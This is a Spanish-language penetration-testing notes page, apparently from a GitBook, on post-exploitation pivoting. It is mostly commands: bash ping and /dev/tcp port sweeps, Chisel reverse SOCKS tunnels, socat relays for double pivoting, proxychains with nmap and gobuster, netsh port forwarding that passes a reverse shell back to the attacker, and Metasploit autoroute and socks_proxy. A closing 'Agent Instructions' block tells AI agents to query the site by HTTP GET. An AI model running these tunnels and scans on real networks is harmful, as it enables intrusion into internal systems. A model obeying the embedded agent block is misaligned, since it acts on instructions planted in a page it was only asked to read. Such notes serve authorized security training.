# Pivoting

## Reconocimiento

Cuando queremos realizar pivoting es por qué tenemos acceso a una máquina victima la cuál nos hemos encontrado otra red interna dentro, primero tendremos que saber a que nos estamos enfrentando, así que empecemos.

### Linux

#### Descubrir hosts en redes internas

```bash
#!/bin/bash
for i in $(seq 1 254); do
        timeout 1 bash -c "ping -c 1 10.10.0.$i" &>/dev/null && echo "El siguiente host 10.10.0.$i esta activo" &
done; wait
```

Una vez hayamos encontrado los hosts internos podemos hacer 2 cosas:

1. Subir un binario portable de nmap
2. Crear un script de bash para encontrar puertos abiertos de la nueva IP.

#### Descubrir puertos

```bash
#!/bin/bash
for port in $(seq 1 65535); do
        timeout 1 bash -c "echo '' > /dev/tcp/<IP>/$port" &>/dev/null && echo "[*] El puerto $port esta abierto" &
done; wait
```

### Windows

```
ipconfig # ips
arp -a # para ver las interfaces de la red en la cual podemos encontrar nuevos hosts
```

#### Descubrir hosts

{% embed url="<https://github.com/BornToBeRoot/PowerShell_IPv4NetworkScanner>" %}
herramienta IPv4 Network Scanner que es para escanear el rango de red que tu digas
{% endembed %}

```
.\IPv4NetworkScanner.ps1 -StartIPv4Address 172.17.0.0 -EndIPv4Address 172.17.0.254
```

#### Descubrir puertos

{% embed url="<https://github.com/BornToBeRoot/PowerShell_IPv4PortScanner>" %}
herramienta para descubrir que puertos tiene abierto el host que le pongas, no va muy rápido el escaneo.
{% endembed %}

```
.\IPv4PortScanner .ps1 -ComputerName <name> -StartPort 1 -EndPort 500 | ft
```

## Chisel

Ahora para aplicar reconocimiento de que hay instalado en cada puerto vamos a usar chisel con una conexión de tipo socks5.

{% embed url="<https://github.com/jpillora/chisel>" %}
Herramienta github
{% endembed %}

Nos descargamos el linux\_amd64 y en caso de que sea para windows, pues windows\_amd64.

Y lo pasamos a la máquina victima para hacer de cliente y nosotros otro que haremos de servidor.

<figure><img src="/files/ffREQql7JcoxKeOfkiA6" alt=""><figcaption></figcaption></figure>

### Servidor

```bash
./chisel server --reverse -p 1234
```

### Cliente

Hay varias maneras de hacerlo, una traer solamente un puerto que sería así:

```bash
./chisel client 192.168.146.128:1234 R:80:10.10.0.128:80
```

<figure><img src="/files/1XYzJQplr7npoNnSL0xg" alt=""><figcaption><p>Nuestro puerto 80 local se convierte en de la máquina victima 10.10.0.128, mediante Remote Port Forwading</p></figcaption></figure>

O traernos mediante socks5 traernos todos los puertos.

```bash
./chisel client 192.168.146.128:1234 R:socks
```

Se nos habrá abierto la conexión en el puerto local de nuestra máquina por el 1080

<figure><img src="/files/TT8OoQ2wKpUmDgi46IeV" alt=""><figcaption><p>Port 1080 socks</p></figcaption></figure>

Para que esto surja efecto, tenemos que ir al archivo `/etc/proxychains.conf` y modificarlo poniendo el siguiente el comando al final del archivo --> `socks5 127.0.0.1 1080`

<figure><img src="/files/hvcIaQSSWHeJWWhw8tRL" alt=""><figcaption><p>Archivo /etc/proxychains.conf</p></figcaption></figure>

Ahora el túnel surge efecto ya que ahora mediante proxychains podremos realizar el reconocimiento y scripts que le podemos mandar con nmap desde nuestra máquina local.

Si intentásemos ejecutar el siguiente comando no nos daría ningún resultado

```bash
nmap -p80 --open --min-rate 4000 -v 10.10.0.128
```

Añadiéndole el comando proxychains estaría surgiendo efecto el túnel que hemos hecho con chisel y socks5 y nos dará un resultado

```bash
proxychains nmap -p80 --open --min-rate 4000 -v 10.10.0.128 -sT -Pn
```

<figure><img src="/files/QeHhE1kk6XcTyEjyFosf" alt=""><figcaption><p>-sT y -Pn para que no haga host discovery y -sT por qué sino da muchos problemas</p></figcaption></figure>

Comando final -->

```bash
proxychains nmap -sCV -p<seríe de puerto> -v 10.10.0.128 -sT -Pn | grep -v "timeout"
```

Todo perfecto ya que podemos acceder, pero solamente desde consola, si queremos acceder por ejemplo al puerto 80 mediante el navegador, no podemos acceder, para poder tener acceso hacer lo siguiente -->

1. Abrir el FoxyProxy --> Add

<figure><img src="/files/z0sw9ze4NaUH5rRZ9szr" alt=""><figcaption></figcaption></figure>

2. Ponemos nombre, y cambiamos estos valores
   1. ProxyType --> SOCKS5
   2. Proxy IP --> 127.0.0.1
   3. Port --> 1080

<figure><img src="/files/hdY7KUN4ENcvoJ1C8wta" alt=""><figcaption></figcaption></figure>

Accedemos al puerto 80

<figure><img src="/files/7VNdflf5NoeWbmtklftM" alt=""><figcaption></figcaption></figure>

## Doble Pivoting

A veces por ejemplo si ya hemos hecho 1 túnel que le hemos asignado el puerto 1234 en chisel como servidor, y en la máquina que hemos encontrado de la siguiente red hemos encontrado otro segmento de red la cuál queremos saltar y tener acceso, podemos utilizar ya el túnel que tenemos creado en el puerto 1234. Aquí explico cómo se debe realizar.

El esquema de cómo sería el laboratorio visualmente -->

<figure><img src="/files/m5HSepNhuCgWkQwWXyet" alt=""><figcaption><p>Ejemplo de cómo sería el gráfico</p></figcaption></figure>

### Máquina local

Tendríamos un comando ejecutado tal que así:

```
./chisel_linux server --reverse -p 1234
```

<figure><img src="/files/9nypnSCH5aVc9UpyDDNm" alt=""><figcaption><p>Con una conexión ya abierta por el puerto 1080</p></figcaption></figure>

Entonces, utilizaremos este túnel para que con otro puerto que no sea el 1080 nos sirva para poder acceder a ese segmento que actualmente no podemos acceder desde nuestra máquina local.

```
./chisel_linux client 192.168.146.128:1234 R:socks
```

Y en la máquina comprometida uno tendriamos el chisel client que nos completaría el túnel, una vez explicado todo vamos a ver que comandos hay que ejecutar en las máquinas 1 y 2.

### Máquina comprometida 1

En la máquina comprometida 1 (segmento 10.10.0.0) tenemos el túnel tenía otro segmento de red que hemos podido acceder gracias al 1er túnel, entonces comprometiendo la siguiente red, hemos encontrado otro segmento nuevo que es la 172.17.0.0.

Ahora queremos utilizar el primer túnel para establecer otra conexión para poder trabarla desde nuestra máquina.

Primero tenemos que decirle con socat que todo lo que reciba desde la máquina comprometida 1 por el puerto 4447 lo mande a mi máquina local por el túnel ya creado.

```
socat TCP-LISTEN:4447,fork TCP:192.168.146.128:1234
```

### Máquina comprometida 2

En está máquina que es la que tiene el nuevo segmento de red 172.17.0.0 que es el que queremos tener acceso, tenemos que pasarle un chisel y ejecutar el siguiente comando:

```
./chisel_linux client 10.10.0.130:4447 R:8888:socks
```

Este chisel está diciendo que como cliente envié esta petición socks a la máquina comprometida 1 (10.10.0.130) por el puerto 4447 que es él puerto por el que está escuchando el socat y haga un Dynamic Port Forwading de tipo socks (todos los puertos) por el puerto 8888.

Una vez ejecutado el chisel, en el Chisel Server que teníamos anteriormente debería haber aparecido una nueva conexión -->

&#x20;

<figure><img src="/files/QIWIBYJMVdB2DJ3h48QG" alt=""><figcaption><p>Nueva conexión por el puerto 8888 que da acceso al segmento 172.17.0.0</p></figcaption></figure>

Ahora debemos poner en el proxychains.conf la nueva línea como anteriormente hemos hecho con la 1234.

<figure><img src="/files/Yeg4t4udBEjElLrpO6T4" alt=""><figcaption><p>Cómo veis lo hemos puesto por encima del anterior, así funciona proxychains, una línea nueva que pongáis siempre arriba del todo, de nuevo a viejo.</p></figcaption></figure>

### \*IMPORTANTE\*

Si hemos hecho doble pivoting es decir que hemos llegar a una 3era red y cuando hemos realizado el túnel no funciona el escaneo, prueba de cambiar en el proxychains el dynamic\_chain por strict\_chain o al revés.

## Socat

Para que el tráfico que envié a la máquina actual lo mande a la 192.168.146.128.

```bash
socat TCP-LISTEN:4443,fork TCP:192.168.146.128:4443
```

## Fuzzing con proxychains

```
proxychainsgobuster dir -u http://172.17.0.129/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -f --proxy socks5://127.0.0.1:puerto_chisel (1234 o 8888 etc)
```

## Netsh

Sirve para hacer Port Forwading en para Windows. (Para poder utilizar netsh tenemos que haber conseguido ser Administradores del Sistema, ya que es una función que solo está disponible para los administradores.)

```
netsh interfaces portproxy add v4tov4 listenport=<puerto> listenaddress=0.0.0.0 connectport=<puerto> connectaddress=<ip>
```

| Comando        | Descripción                                                                     |
| -------------- | ------------------------------------------------------------------------------- |
| listenport     | El puerto que escucha la máquina Windows                                        |
| listenaddress  | La IP que estará esperando la petición por el "listenport"                      |
| connectport    | El puerto por el que estará esperando la petición la IP la cual queremos llegar |
| connectaddress | La IP por la cúal queremos llegar                                               |

```
netsh interface portproxy show all # para mostrar que hay de proxy
netsh interface portproxy reset
```

Netsh guarda la configuración de Port Forwading en el registro --> `HKLM:\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp`

### Referencia

{% embed url="<https://deephacking.tech/pivoting-con-netsh/>" %}
sikumy como siempre un crack
{% endembed %}

### Reverse Shell

Si hemos comprometido la máquina la cuál hemos llegado gracias al netsh y queremos tener una shell debemos utilizar los siguientes comandos para obtenerla

```
netsh interface portproxy add v4tov4 listenport=4545 connectaddress=192.168.50.44 connectport=4545
```

Eso quiere decir que el `connectaddress` tenemos que poner nuestra máquina local para recibir la shell, el netsh está como intermediario para enviar la shell al listener que estará escuchando también por el puerto 4545.

## Pivoting con Metasploit

Hay que conocer todas las maneras de hacer pivoting y metasploit es una de ellas, así que no os limitéis a hacerlo solo con chisel.

### Autoroute

Añadir una nueva red interna descubierta en la máquina comprometida

```
run autoroute -s <Nueva red interna/24> # añadir nueva red
run autoroute -p # ver la routing table
```

### Ping

```
use post/multi/gather/ping_sweep # para buscar hosts nuevos en la red
```

### Nmap

Después para poder hacerle nmap necesitamos hacer los siguientes pasos

```
1. background # dejar en segundo plano la meterpeter
2. use auxiliary/server/socks_proxy 
3. show options 
4. set srvhost <nuestra IP>
5. run
6. netstat -antp | grep 1080 # comprobar que se haya efectuado
7. Añadir en proxychains [socks5 <ip> 1080]
```

### Portforwading

```
portfwd add -L 172.16.0.20 -l 2323 -p 80 -r 7.7.7.20 # ejemplo
```

## Doble pivoting con Metasploit

```
run autoroute -s <Nueva red interna/24> # añadimos la nueva red en la routing table
run autoroute -p # ver la routing table
```

Y entonces hacemos como antes pero haciendo un segundo túnel por otro puerto

```
1. use auxiliary/server/socks_proxy  # añadir la nueva red interna descubierta desde la anterior
2. set srvport 1081
3. run
4. Añadir en el proxychains [socks5 <ip> 1081]
```

## Recursos adicionales

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Network%20Pivoting%20Techniques.md>" %}

{% embed url="<https://pentest.blog/explore-hidden-networks-with-double-pivoting/>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://j4ckie0x17.gitbook.io/notes-pentesting/post-explotacion/pivoting.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
